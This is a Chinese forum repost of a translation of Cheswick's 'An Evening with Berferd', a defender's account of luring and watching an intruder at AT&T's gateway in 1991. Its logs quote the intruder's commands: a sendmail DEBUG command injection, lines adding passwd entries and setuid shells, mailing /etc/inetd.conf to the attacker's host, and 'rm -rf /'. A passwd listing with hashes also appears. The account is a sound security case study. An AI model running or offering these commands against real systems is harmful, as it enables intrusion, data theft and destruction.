引誘、欺騙並研究一個黑客

火星人 @ 2014-03-12 , reply:0
←手機掃碼閱讀

  ——陪伴berferd的一個夜晚

作者:Bill Cheswick AT&T Bell 實驗室
翻譯:宋傳華
學號:19808031
-------把這篇文章獻給那些已經或正在成為一名黑客的同學,希望大家在破解別人的同時能同時注意到自身的安全。:)

在1991年1月7號,一個黑客,他確信自己發現了我們的Internet網關計算機的sendmail的一個DUBUG漏洞的黑客,試圖獲得我們的password文件,我「送」給他了一份。
在幾個月中,我們引誘這名黑客作各種快樂的嘗試,以便於我們發現他的位置和使用的破解技術。這篇文章是對該黑客的「成功」和失敗,我們使用的誘餌和陷阱的詳細記錄
我們的結論是我們所遇到的這個黑客擁有大量的時間,固執異常,並持有一份優秀的系統漏洞列表。一旦他獲得了系統的一個正式註冊身份,使用那些漏洞他可以輕易的攻破uucp和bin帳號,然後是root。我們的黑客對軍事目標和可以幫助他中轉其連接的新機器很感興趣。
簡介
我們的安全Internet網關是1990年1月開始使用的。對於這個整個城堡的大門,我想知道它所可能遭到的攻擊會有多麼頻繁。我明白Internet上有一些喜歡使用「暴力」的人,那麼他們是誰?他們會攻擊什麼地方?會多麼頻繁?他們經常嘗試系統的那些漏洞?
事實上,他們沒有對AT&T作出破壞,甚至很少光顧我們的這扇大門,那麼,最終的樂趣只有如此,引誘一個黑客到一個我們設計好的環境中,記錄下來他的所有動作,研究其行為,並提醒他的下一個目標作出防範。
大多數Internet上的工作站很少提供工具來作這些事情,商業系統檢測並報告一些問題,但是它們忽略了很多我們想要的東西。我們的網關每天產生10兆的日誌文件。但人們對於日誌記錄以外的服務的攻擊呢?
我們添加了一些虛假的服務在系統上,同時我編寫了一個script文件用來檢索每天的日誌。我們檢查以下幾點:
FTP :檢索的工具會報告每天所有註冊和試圖註冊的用戶名。它還會報告用戶對tilde的使用(這是個老版本的ftp的漏洞)、所有對ftp目錄的/etc/passwd和/etc/group的存取以及對pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來獲得系統的正式用戶的註冊名稱,然後攻擊、破解其密碼。有時有些系統的管理員會將系統的真實passwd文件放在ftp的/etc目錄下,我們偽造了一個passwd文件,它的密碼被破解后是「why are you wasting your time.」
Telnet / login :所有試圖login的動作都被記錄了下來。這很容易就可以看出有些人在嘗試很多帳號,或強力攻擊某一個帳號。因為我們這個Internet的大門除了「警衛」外沒有什麼別的用戶,很容易就可以找到問題所在。
Guest / visitor 帳號:黑客們第一個尋找的就是公用帳號。這些帳號提供了友好的,最輕易的獲取幾乎系統的所有文件的機會,包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個用戶的.rhosts文件來獲得機器的信任主機列表。我們對於這些帳號的login script文件是這樣編寫的:
exec 2>/dev/null # ensure that stderr doesn appear
trap "" 1
/bin/echo
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
upasname=adm /bin/mail ches dangelo &
# (notify calling machines administrator for some machines...)
# (finger the calling machine...)
) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
/bin/echo "/tmp full"
/bin/echo "/tmp full"
/bin/echo
sleep 60 # ... and simulating a busy machine is useful
我們必須小心以便不讓調用者看到系統的標誌出錯信息(如果一旦我們編寫的script有誤)。注意$CALLER是在另一端的主機或IP地址。通過修改telnetd或login,它將可以通過環境變數來獲取。
SMTP DEBUG : 這個命令提供了兩個守候sendmail的漏洞的陷阱。雖然幾乎所有的產品出售商都清除了這個漏洞,但偶爾仍有黑客嘗試它。這個漏洞允許外部的使用者使用一段以root許可權執行的script。當有些人嘗試這個漏洞時,我就獲得了他嘗試的script代碼。
Finger :Finger提供了大量有用的信息給黑客:帳號名,該帳號的最後一次使用時間,以及一些可以用來猜測密碼的信息。由於我們的組織不允許提供這些信息給別人,我們置入了一個程序,在finger了fingerd的調用者后拒絕figner請求。(當然我們會避免對來自自己的finger信息的死循環)。報告表明每天有數以十計的finger請求,其中大部分是合法的。
Rlogin / rsh :這些命令都是基於一些無條件信任的系統,我們的機器並不支持。但我們會finger使用這些命令的用戶,並將他的嘗試和用戶信息等生成報告。
上述很多探測器都使用figner命令來查明調用的機器和使用者。
當一個嘗試顯示為有不合法企圖時,我就發出這樣一條消息:
inetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
from our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought youd like to know.
Bill Cheswick
這是一個典型的信件,它被發往「inetfans」,這些人屬於計算機緊急響應小組(Computer Emergency Response Team , CERT)、某些興趣小組或對某些站點感興趣的人。
很多系統管理員很重視這些報告,尤其是軍事站點。通常,系統管理員在解決這些問題上都非常合作。對這些信件的反應包括道歉,拒絕信件,關閉帳號以及沉默等等。當一個站點開來願意支持黑客們的活動時,我們會考慮拒收來自該站的所有信息包。
不友好的行動
我們從1990年1月設置好這些探測器。統計表明被攻擊率在每年學校的假期期間會上升。我們的被攻擊率可能比其他站點高,因為我們是廣為人知的,並被認為是「電話公司」。
當一個遠程使用者取走passwd文件時,並不是所有的人都出於惡意的目的。有時他們只是想看看是否傳輸能正常工作。
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
19:43:42 smtpd[27466]: -------> mail from:
19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e 1,/?$/d | /bin/sh ; exit 0">
19:44:44 smtpd[27466]: shell characters: |sed -e 1,/?$/d | /bin/sh ; exit 0"
19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
19:45:08 smtpd[27466]: finished.
這是我們對SMTP過程的日誌。這些看來很神秘的日誌通常是有兩個郵件發送器來相互對話的。在這個例子中,另一端是由人來鍵入命令。他嘗試的第一個命令是DEBUG。當他接收的「250 OK」的回應時一定很驚奇。關鍵的行是「rcpt to :」。在尖括弧括起的部分通常是一個郵件接收器的地址。這裡它包含了一個命令行。Sendmail在DEBUG模式下用它來以ROOT身份執行一段命令。即:
sed -e 1,/?$/d | /bin/sh ; exit 0"
它剝去了郵件頭,並使用ROOT身份執行了消息體。這段消息郵寄給了我,這是我記錄下來的,包含時間戳:
19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來運行一些passwd破解程序。所有這些探測結果都來自EMBEZZLE.STANFORD.EDU的一個adrian用戶。他在美國空襲伊拉克半個小時后公然作出敵意反應。我懷疑是薩達姆雇傭了一兩個黑客。我恰巧在ftp的目錄下有一個假的passwd文件,就用root身份給Stanford發了過去。
第二個早晨,我聽到了來自Stanford的消息:他們知道了這件事,並正在發現問題所在。他們說adrian這個帳號被盜用了。
接著的一個星期天我接到了從法國發來的一封信:
To: root@research.att.com
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
I have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
(she) has left a file called passwd. The contents are:
------------>
From root@research.att.com Tue Jan 15 18:49:13 1991
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
From: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
Daemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
Adm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R
------------Please let me know if you heard of him.
陪伴Berferd的一個夜晚
1月20號,星期天晚上,我的終端報告有安全敏感事件。
22:33 finger attempt on berferd
幾分鐘后,有人試圖使用DEBUG來用ROOT身份執行命令,他試圖修改我們的passwd文件!
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
連接同樣來自EMBEZZLE.STANFORD.EDU。
我該怎麼作呢?我不希望他真的能獲得一個網關的帳號,為什麼引狼入室呢?那樣我將得不到他的鍵盤活動。
我應該繼續看看他關注的其他事情,或許我可以手工模擬一下操作系統,這意味著我必須讓他以為機器速度很慢,因為我無法和MIPS M/120相比。同時意味著我必須模擬一個一致的操作系統。
我已經有一個要求了,因為他已經持有了一份passwd。
決定一:ftp的passwd是一個真實的passwd。
還有另外的兩個:
決定二:網關機器管理極差。(有DEBUG漏洞,ftp目錄里有passwd)。
決定三:網關機器極慢。
因此我決定讓他以為他已經改變了passwd文件,但卻不急於讓他進來。我必須生成一個帳號,但卻使它不可操作。我應該怎麼辦?
決定四:我的shell並沒有放在/bin下,它放在其他地方。這樣,他進來后(讓他認為passwd已經改動了),沒有可運行的shell。
這個決定很愚蠢,但我不會因此損失任何東西。我寫了一個script,生成了一個臨時帳號b,當它被調用時它會給我發信,調用者將看到如下信息:
RISC/os (inet)
login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved
Shell not found
我把b帳號在實際passwd文件中改成了beferd,當我作完后,他在此嘗試:
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
他的另一個試圖添加到passwd文件的嘗試。事實上,在我為bferd完成新的配置之前他開始急躁了:
22:45 talk adrian@embezzle.stand?Hford.edu
talk adrian@embezzle.stanford.edu
決定五:我們沒有talk這個命令。
他選擇了berferd這個帳號:
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
22:57 (Added bfrd to the real password file.)
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
很顯然他希望能夠rlogin到我們的網關,這需要一些本地文件的特定設置。我們並沒有作rlogin的檢測。
這時他又有新的動作:
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
在rlogin失敗后,他希望能得到我們的inetd.conf文件來查看我們究竟啟動了什麼服務。我不想讓他看到真正的inetd.conf,但偽造一個又非常困難。
決定七:網關機器運行不穩定,時有不確定事件。
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
ps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
我不希望他看到ps的結果,幸運的是,他的Berkeley系統的ps命令在我的System V機器上是無效的。
這時我通知了CERT,這時一起嚴重的攻擊事件,在Stanford也應該有追蹤這些請求的人。這時,活動又轉到ftp上來:
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 PASS: command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 PASS: command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd[116]: exit 14454
23:38 finger attempt on berferd
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
決定四已經決定了最後一行的嘗試必然失敗。因此,他只是破壞了我們模擬的機器上的finger而已,並沒有將之替換成一個shell程序。我關閉了實際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:58 cp /bin/csh /usr/etc/fingerd
我們模擬的機器上csh並不在/bin下,因此這個命令無效。
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
好吧,fingerd現在重新開始工作。Berferd的恢復工作乾的不錯。
00:14 passwd bfrt
bfrt
bfrt
現在他試圖修改password,這永遠不會成功,因為passwd的輸入是/dev/tty,不是sendmail所執行的shell script。
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
這時我已經很累了。
01:55 rm -rf /&
喔!!太狠了!顯然機器的狀態讓他迷惑,他希望能清除所有的痕迹。有些黑客會保護自己所作的工作,聲明自己不作任何破壞。我們的黑客對我們感到疲勞了,因此以此結束。
他繼續工作了幾分鐘,後來放棄:
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
07:19 /bin/rm -rf /&
/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU





[火星人 via ] 引誘、欺騙並研究一個黑客已經有382次圍觀

http://www.coctec.com/docs/security/show-post-72904.html